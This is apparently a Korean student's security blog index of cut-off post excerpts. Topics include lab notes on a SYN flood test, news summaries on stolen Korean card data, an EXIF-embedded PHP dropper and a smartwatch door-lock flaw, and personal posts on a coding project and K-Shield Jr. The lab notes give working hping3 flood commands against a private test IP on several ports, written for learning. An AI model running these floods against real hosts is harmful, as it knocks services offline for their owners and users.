(공격자_192.168.0.155 / 피해자_192.168.0.171) 1) SYN Flood hping3 192.168.0.171 -p 80 -S --flood Q_TCP 를 이용.(http 아님! 열려만 있으면 피해자의 80번 포트가 아니라 다른 포트도 가능한가?) => 확인 (25_smtp, 22_ssh, 23_telnet) 포트만 열려있다고 되는게 아니라 서비스가 돌아가는지 & 방화벽쪽에서도 확인해봐야 함! (icmp가 오고 있으면 실제로 동작하는건 아님) hping3 192.168.0.171 -p 25 -S --flood (???? 얜 왜 icmp가 와???) hping3 192.168.0.171 -p 22 -S --flood hping3 192.168.0.171 -p 23 -S --flood ..

# 기사정리 사이버 보안 연구 단체인 Gemini Advisory에서 1)한국의 CP 데이터 100만건 이상이 다크웹에서 판매되고 있고, 2)아시아-태평양 지역에서 전자상거래업체 및 오프라인 매장에 대한 공격이 급증하는 중 한국이 가장 큰 피해를 입고 있다는 경고를 했다. ( 기존 CP 사기 범죄는 미국을 겨냥한 것이 대부분이었으나, 2015년 미국이 EMV 기술을 도입하면서 전 세계의 다른 지역으로 범죄자들의 관심이 돌아가고 있다고 한다. ) 다크웹에서 판매되기 시작한 CP데이터가 올해 5월 말 4만 2천여 건에서, 6월에는 23만 건, 7월에는 89만 건으로 늘어 지금은 100만 건이 넘었다고 한다. Gemini Advisory에서는 유출된 정보의 정확한 출처에 대해서는 다 파악하지 못했지만, 커다란..

프로그래머스 SummerCoding 과제로 todo list 만들기를 했었는데,(2019.05.20) 사실 웹은 처음이라 A부터 Z까지 구글링과 주먹구구식 떼우기로 겨우 만들었었다.(무려 일주일동안....ㅠㅠ) 그 때, 제출을 하고 나서도 아쉬웠던 부분을 보완하고, 미처 구현하지 못했던 기능을 추가하면서 기록을 남기려고 한다. ....html, css, js, ajax, python 을 사용했는데 python 빼고는 생초짜라 스파게티 코드임을 부정할 수 없지만... 그래도 나중에 내가 보기 편하려면 에버노트, wikidocs 등 여기저기에 분산되어있는것보단 티스토리에 모아두는게 편하겠지! (볼 사람은 없어도 부끄럽다.....) SummerCoding 제출 시 상태 : python의 bottle 모듈(ws..

# 기사정리 남아메리카의 전자상거래 사이트들을 주 표적으로 하는 드로퍼가 발견되고 있다고 한다. 스테가노그래피 기법을 이용, 웹 사이트에 드로퍼 기능을 하는 코드가 숨겨진 JPEG 이미지를 업로드하면, JPEG 이미지의 EXIF 메타데이터를 추출해 읽어내는 PHP의 기능에 의해 멀웨어가 다운로드된다. ( EXIF에 삽입된 php 코드가 서버 측에서 이미지를 처리하는 과정에서 실행되는 것 같다. ) php에 대해 어느 정도 알고 있고, 이미지를 조작할 수 있다면 공격이 가능하다는 점에서 아주 어렵거나 복잡한 공격은 아니지만, 흔하지도 않은 공격 방법이라고 한다. 비슷한 원리를 이용한 공격은 2013년에 마지막으로 발견되었고, 그 당시 공격은 웹 쉘 백도어 전체가 헤더에 존재했던 것에 비해 지금은 다단계로 ..

바로 어제(2019.07.29) K-Shield Jr. 3기 지필시험&면접을 보고 왔는데 결과가 굉장히 빨리 나왔다. 시험은 예상외로 쉬워서 시험으로 갈리진 않겠구나 싶었는데 면접에서 과하게 솔직했던것 같아서 기대는 하지 말고 그냥 잊고 있자.... 했는데, 합격 연락을 받아서 얼떨떨하면서도 굉장히 기쁘다 :D 상세일정에서는 8월 14일 입교식이 있다고 했는데, 합격 메일에서는 이에 대한 언급이 없어서 조금 헷갈리지만 방학이고 다른 일정도 없으니 그날은 일정을 안잡아두고 연락을 기다려보는걸로... 8월 20일부터 양재역까지 왔다갔다하면 어마무시한 교통비가 무섭지만 그런데 보태라고 훈련장려금도 있는거겠지! 아무튼 열심히 공부해서 취뽀도 하고 여러 사람들과도 좋은 연을 맺어가봐야겠다!

# 기사 정리 2019년 7월 15일 보안뉴스 기사를 통해 키로 등록되지 않은 스마트 워치에 의해 디지털 도어록이 열리는 문제가 알려졌다. 최초 알려진 문제는 RF키를 '키'로 사용하는 삼성SDS 스마트도어락에 티머니 앱을 설치한 삼성전자 갤럭시워치를 '키'로 등록할 경우 다른 등록하지 않은 갤럭시워치에 의해 도어락이 열린다는 것이었다. (기사에서 테스트에 사용한 제품은 디지털 도어록 1종과 스마트워치 2종이었고, 다른 블로그의 글에서 동일한 문제 내용을 확인할 수 있었다고 언급됐다.) 이후 최초 테스트와 동일한 환경(디지털 도어록 1종과 스마트워치 2종)에 갤럭시 기어S3 2종을 추가해 두번째 테스트를 진행한 결과, 갤럭시 기어S3의 NFC 기능만 활성화되어 있는 경우에는 디지털 도어록과 갤럭시 기어S..